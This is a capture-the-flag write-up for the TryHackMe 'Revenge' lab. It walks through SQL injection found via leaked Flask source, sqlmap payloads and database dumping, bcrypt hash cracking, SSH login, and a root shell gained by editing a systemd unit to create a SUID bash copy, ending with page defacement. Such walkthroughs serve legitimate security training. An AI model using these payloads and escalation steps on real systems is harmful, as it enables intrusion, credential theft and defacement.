8 minute read

1

Room Link : https://tryhackme.com/room/revenge

Revenge is a medium rated tryhackme room created by Nameless0ne. App.py was found after running gobuster which revealed a route which was vulnerable to sql injection. Username and password hashes are obtained after running SQLMap and a hash for server-admin was cracked using hashcat which was used to login to the box using ssh. On the box, sudoers entries were used to get a root shell.

Message From Billy Joel

To whom it may concern,

I know it was you who hacked my blog.  I was really impressed with your skills.  You were a little sloppy 
and left a bit of a footprint so I was able to track you down.  But, thank you for taking me up on my offer.  
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.  
For that reason, I'll let you do your own enumeration and checking.

What I want you to do is simple.  Break into the server that's running the website and deface the front page.  
I don't care how you do it, just do it.  But remember...DO NOT BRING DOWN THE SITE!  We don't want to cause irreparable damage.

When you finish the job, you'll get the rest of your payment.  We agreed upon $5,000.  
Half up-front and half when you finish.

Good luck,

Billy

Our goal is to deface the front page.

Port Scan

local@local:~/Documents/tryhackme/revenge$ nmap -sC -sV -oN initial 10.10.178.180
Increasing send delay for 10.10.178.180 from 5 to 10 due to 27 out of 89 dropped probes since last increase.
Nmap scan report for 10.10.178.180
Host is up (0.42s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
|   256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_  256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Running gobuster

local@local:~/Documents/tryhackme/revenge$ gobuster dir -u http://10.10.178.180/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,py  
/products (Status: 200)
/index (Status: 200)
/contact (Status: 200)
/login (Status: 200)
/static (Status: 301)
/admin (Status: 200)
/app.py (Status: 200)
/requirements.txt (Status: 200)

Contents of app.py

from flask import Flask, render_template, request, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import create_engine
from flask_bcrypt import Bcrypt

app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)
bcrypt = Bcrypt(app)


app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc')


# Main Index Route
@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():
    return render_template('index.html', title='Home')


# Contact Route
@app.route('/contact', methods=['GET', 'POST'])
def contact():
    if request.method == 'POST':
        flash('Thank you for reaching out.  Someone will be in touch shortly.')
        return render_template('contact.html', title='Contact')

    elif request.method == 'GET':
        return render_template('contact.html', title='Contact')


# Products Route
@app.route('/products', methods=['GET'])
def products():
    return render_template('products.html', title='Our Products')


# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
    with eng.connect() as con:
        # Executes the SQL Query
        # This should be the vulnerable portion of the application
        rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
        product_selected = rs.fetchone()  # Returns the entire row in a list
    return render_template('product.html', title=product_selected[1], result=product_selected)


# Login
@app.route('/login', methods=['GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html', title='Customer Login')


# Admin login
@app.route('/admin', methods=['GET'])
def admin():
    if request.method == 'GET':
        return render_template('admin.html', title='Admin Login')


# Page Not found error handler
@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html', error=e), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html', error=e), 500


if __name__ == "__main__":
    app.run('0.0.0.0')

Route to /products/<product_id> is vulnerable to sql injection as the untrusted data <product_id> is directly passed to the sql query.

Running SQLMap

local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.7.12#dev}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 129 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://10.10.185.226:80/products/1 AND 9559=9559

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://10.10.185.226:80/products/1 AND (SELECT 2184 FROM (SELECT(SLEEP(5)))HTWi)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: http://10.10.185.226:80/products/-1156 UNION ALL SELECT 57,57,57,57,57,57,57,CONCAT(0x717a707171,0x484a48557870456e7a656d62507177746950644b5a56736c42544b7179484d466a59757247554872,0x7176707871)-- -
---
[22:18:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12
[22:18:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 92 times, 405 (Method Not Allowed) - 1 times

Enumeration databases

local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 --dbs
available databases [5]:                                                                                                                                                        
[*] duckyinc
[*] information_schema                  
[*] mysql                
[*] performance_schema   
[*] sys 

Database duckyinc looks interesing.

Enumerating tables

local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 -D duckyinc --tables
Database: duckyinc                                                                                                                                                              
[3 tables]                                                                                                                                                                      
+-------------+
| system_user |
| user        |                         
| product     |          
+-------------+ 

Dumping all data from a database

local@local:~/Documents/tryhackme/revenge$ /opt/sqlmap-dev/sqlmap.py -u "http://10.10.185.226/products/1*" --batch --risk 3 --level 5 -D duckyinc --dump
Database: duckyinc                                                                                                                                                              
Table: system_user                                                                                                                                                              
[3 entries]                                                                                                                                                                     
+------+----------------------+--------------+--------------------------------------------------------------+                                                                   
| id   | email                | username     | _password                                                    |                                                                   
+------+----------------------+--------------+--------------------------------------------------------------+                                                                   
| 1    | sadmin@duckyinc.org  | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a |                                                                   
| 2    | kmotley@duckyinc.org | kmotley      | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |                                                                   
| 3    | dhughes@duckyinc.org | dhughes      | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |                                                                   
+------+----------------------+--------------+--------------------------------------------------------------+  

Database: duckyinc                                                                                                                                                             
Table: user
[10 entries]
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+
| id   | email                           | company          | username | credit_card                | _password                                                    |
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+
| 1    | sales@fakeinc.org               | Fake Inc         | jhenry   | 4338736490565706           | $2a$12$dAV7fq4KIUyUEOALi8P2dOuXRj5ptOoeRtYLHS85vd/SBDv.tYXOa |
| 2    | accountspayable@ecorp.org       | Evil Corp        | smonroe  | 355219744086163            | $2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm |
| 3    | accounts.payable@mcdoonalds.org | McDoonalds Inc   | dross    | 349789518019219            | $2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C |
| 4    | sales@ABC.com                   | ABC Corp         | ngross   | 4499108649937274           | $2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO |
| 5    | sales@threebelow.com            | Three Below      | jlawlor  | 4563593127115348           | $2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu |
| 6    | ap@krasco.org                   | Krasco Org       | mandrews | thm{br***1ng_4nd_******} | $2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC |
| 7    | payable@wallyworld.com          | Wally World Corp | dgorman  | 4905698211632780           | $2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm |
| 8    | payables@orlando.gov            | Orlando City     | mbutts   | 4690248976187759           | $2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS |
| 9    | sales@dollatwee.com             | Dolla Twee       | hmontana | 375019041714434            | $2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem |
| 10   | sales@ofamdollar                | O!  Fam Dollar   | csmith   | 364774395134471            | $2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36 |
+------+---------------------------------+------------------+----------+----------------------------+--------------------------------------------------------------+

We got our first flag.

Obtained usernames and hashes

smonroe:$2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm
dross:$2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C
ngross:$2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO
jlawlor:$2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu
mandrews:$2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC
dgorman:$2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm
mbutts:$2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS
hmontana:$2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem
csmith:$2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa
dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK

Hashes starting with $2a$12$ takes a lot of time to crack and there is one hash that is unique that is starting with $2a$08$.

Cracking hash with hashcat

local@local:~/Documents/tryhackme/revenge$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt --user
hashcat (v5.1.0) starting...
                                                                                        
* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.                                                                                                                         To disable the timeout, see: https://hashcat.net/q/timeoutpatch                                                                                                    
nvmlDeviceGetFanSpeed(): Not Supported
                                                                                        
OpenCL Platform #1: NVIDIA Corporation
======================================
$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a:inuyasha
                                                                                        
Session..........: hashcat       
Status...........: Cracked       
Hash.Type........: bcrypt $2*$, Blowfish (Unix)                                                                                                                                 
Hash.Target......: $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2Go...tPfT8a         
Time.Started.....: Sat Oct 17 22:28:12 2020 (3 secs)                        
Time.Estimated...: Sat Oct 17 22:28:15 2020 (0 secs)                           
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)                                                                                                                      
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       83 H/s (4.36ms) @ Accel:4 Loops:1 Thr:8 Vec:1                  
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 288/14344385 (0.00%)                                                 
Rejected.........: 0/288 (0.00%)                                                        
Restore.Point....: 192/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:255-256                               
Candidates.#1....: alyssa -> brenda   
Hardware.Mon.#1..: Temp: 49c Util: 92% Core:1176MHz Mem: 900MHz Bus:4    
server-admin:inuyasha

Logging as user server-admin

local@local:~/Documents/tryhackme/revenge$ ssh server-admin@10.10.185.226
server-admin@10.10.185.226's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


8 packages can be updated.
0 updates are security updates.


################################################################################
#                        Ducky Inc. Web Server 00080012                        #
#            This server is for authorized Ducky Inc. employees only           #
#                  All actiions are being monitored and recorded               #
#                    IP and MAC addresses have been logged                     #
################################################################################
Last login: Wed Aug 12 20:09:36 2020 from 192.168.86.65
server-admin@duckyinc:~$

Reading second flag

server-admin@duckyinc:~$ ls
flag2.txt
server-admin@duckyinc:~$ cat flag2.txt 
thm{4***t_t***e}

Privilege Escalation

Sudo -l

server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin: 
Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit
        /etc/systemd/system/duckyinc.service

Looks like we can change the configuration file for service duckyinc and reload the daemon after changing the file and can enable and restart the service as root. So, lets try and get a shell as root.

Shell.sh

server-admin@duckyinc:~$ cat shell.sh 
#!/bin/bash

cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
server-admin@duckyinc:~$ pwd
/home/server-admin
server-admin@duckyinc:~$ chmod +x shell.sh 

We create a file called shell.sh on folder /home/server-admin which we will execute when the duckyinc service restarts.

Changing the file /etc/systemd/system/duckyinc.service

Current content of file

server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service 
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

Changed content

server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service
server-admin@duckyinc:~$ cat /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
User=root
Group=root
WorkingDirectory=/var/www/duckyinc
ExecStart=/bin/bash /home/server-admin/shell.sh
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

Restating the service

server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl enable duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service

Checking /tmp/

server-admin@duckyinc:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1113504 Oct 17 16:55 /tmp/bash

And the file is created with SUID bit set.

Getting a root shell

server-admin@duckyinc:~$ /tmp/bash -p
bash-4.4# id
uid=1001(server-admin) gid=1001(server-admin) euid=0(root) groups=1001(server-admin),33(www-data)

And we are now root on the box.

Getting the final flag

bash-4.4# ls -la /root
total 52
drwx------  7 root root 4096 Aug 28 03:10 .
drwxr-xr-x 24 root root 4096 Aug  9 15:17 ..
drwxr-xr-x  2 root root 4096 Aug 12 18:46 .bash_completion.d
lrwxrwxrwx  1 root root    9 Aug 10 12:54 .bash_history -> /dev/null
-rw-r--r--  1 root root 3227 Aug 12 18:46 .bashrc
drwx------  3 root root 4096 Aug  9 16:15 .cache
drwx------  3 root root 4096 Aug  9 15:31 .gnupg
drwxr-xr-x  5 root root 4096 Aug 12 18:44 .local
-rw-------  1 root root  485 Aug 10 00:44 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Aug 10 13:21 .selected_editor
drwx------  2 root root 4096 Aug  9 15:29 .ssh
-rw-------  1 root root 7763 Aug 12 18:57 .viminfo

There was no final flag on the ususal place.

Our goal was to deface the website so lets change the content of the homepage.

Changing index.html

bash-4.4# mv /var/www/duckyinc/templates/index.html /dev/shm/

And now if we check the /root, we have a new file.

bash-4.4# ls
flag3.txt

Reading the final flag

bash-4.4# cat flag3.txt 
thm{m******n_ac********}